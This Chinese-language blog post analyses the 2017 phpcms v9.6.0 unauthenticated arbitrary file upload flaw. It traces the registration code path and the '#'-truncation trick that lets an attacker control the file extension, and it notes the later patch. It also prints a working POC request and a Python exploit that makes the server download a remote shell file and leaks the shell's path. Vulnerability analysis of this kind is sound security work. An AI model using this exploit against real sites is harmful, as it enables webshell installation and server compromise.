phpcms v9.6.0任意文件上传漏洞分析

一、配置信息

操作系统:Ubuntu16.04

Web容器:Apache/2.4.18

PHP版本:PHP5.6

二、漏洞简介

 

2017年4月份phpcms v9.6.0被爆出任意文件上传漏洞,该漏洞可在未登录的情况下前端getshell,影响面非常大。其根本问题在于注册时可通过变量控制改变程序逻辑,使其加载一个远程的文件到本地,而又因为程序对远程URL处理不当导致后缀名可控,于是就可上传shell。

三、漏洞分析

漏洞发生在注册功能,文件位置:phpcms\modules\member\index.php

在130行有一个“附表信息验证”的if块

这里将用户提交的info参数(数组)进行了两步处理然后赋值给了user_model_info,第一步处理使用new_html_special_chars函数进行HTML转义;第二步处理进入了get函数,跟进去看一下,文件位置:caches\caches_model\caches_data\member_input.class.php。

其中在47行有一步处理为

fields在构造函数声明为

而modelid变量是可控的,通过POST方式提交,如果其值为1,那么fields获取的就是model_field_1.cache.php的数据,model_field_1.cache.php定义了一个超长的二维数组,其中262行定义了如下内容

在member_input.class.php文件中向下找即可找到editor函数的定义。

也就是说,如果我们在注册时令变量modelid=1,那么我们提交的info数组就会经过editor函数的处理。然后进入了download函数,其文件位置为:phpcms\libs\classes\attachment.class.php

上述代码最后一行,程序先对远程文件地址进行正则匹配,如果是非法文件则直接退出。接下来使用fillurl对远程链接进行处理

在300处fillurl函数的处理过程中,将URL中“#”后面的内容截断,只保留前面的内容,也就是说如果链接为http://abc.com/1.php#.jpg,那么处理后的链接为http://abc.com/1.php。

回到download函数166行的位置,获取文件后缀,此时获取的后缀是经过fillurl函数处理的,也就说对于用户来说这里变得可控。

后面就是将远程文件下载到本地,首先是生成了文件地址+后缀,然后使用upload_func函数下载,upload_func函数在构造函数中定义为copy,就是直接将远程文件复制过来。

 

这里新文件名的规则是:

uploadfile/年份/月日/时间具体到秒+3位100-999之间的随机字符+文件后缀

虽然有随机数字但因为规律比较明显得到shell后已经可以爆破了。不过还有方法直接可以将shell地址爆出来。回到register函数,在150行的位置有个插入操作。把userid加入user_model_info后插入到数据库,完成添加用户的操作。

对应的表是v9_member_detail,其表结构为

但是由于前面我们说过modelid变量要被修改为1,所以此时user_model_info数组中并没有birthday这个元素,而是content,这时强行插入则会导致报错,直接将shell路径爆出来。

四、漏洞利用

POC为:

siteid=1&modelid=1&username=test2&password=123456&email=1234%40qq.com&dosubmit=1&protocol=&info[content]=href=http://192.168.228.135/shell.txt?.php#.jpg

执行效果

Python代码:

def poc(url):
    u = '{}/index.php?m=member&c=index&a=register&siteid=1'.format(url)
    data = {
        'siteid': '1',
        'modelid': '1',
        'username': '11adqe65691',
        'password': 'testxx',
        'email': '11adqe65691@test.com',
        'info[content]': '<img src=http://www.***.net/shell.txt?.php#.jpg>',
        'dosubmit': '1',
    }
    rep = requests.post(u, data=data)

    shell = ''
    re_result = re.findall(r'&lt;img src=(.*)&gt', rep.content)
    if len(re_result):
        shell = re_result[0]
        print shell

新版本对其打的补丁为

将文件拓展名进行了二次检测。

发表评论

电子邮件地址不会被公开。 必填项已用*标注

*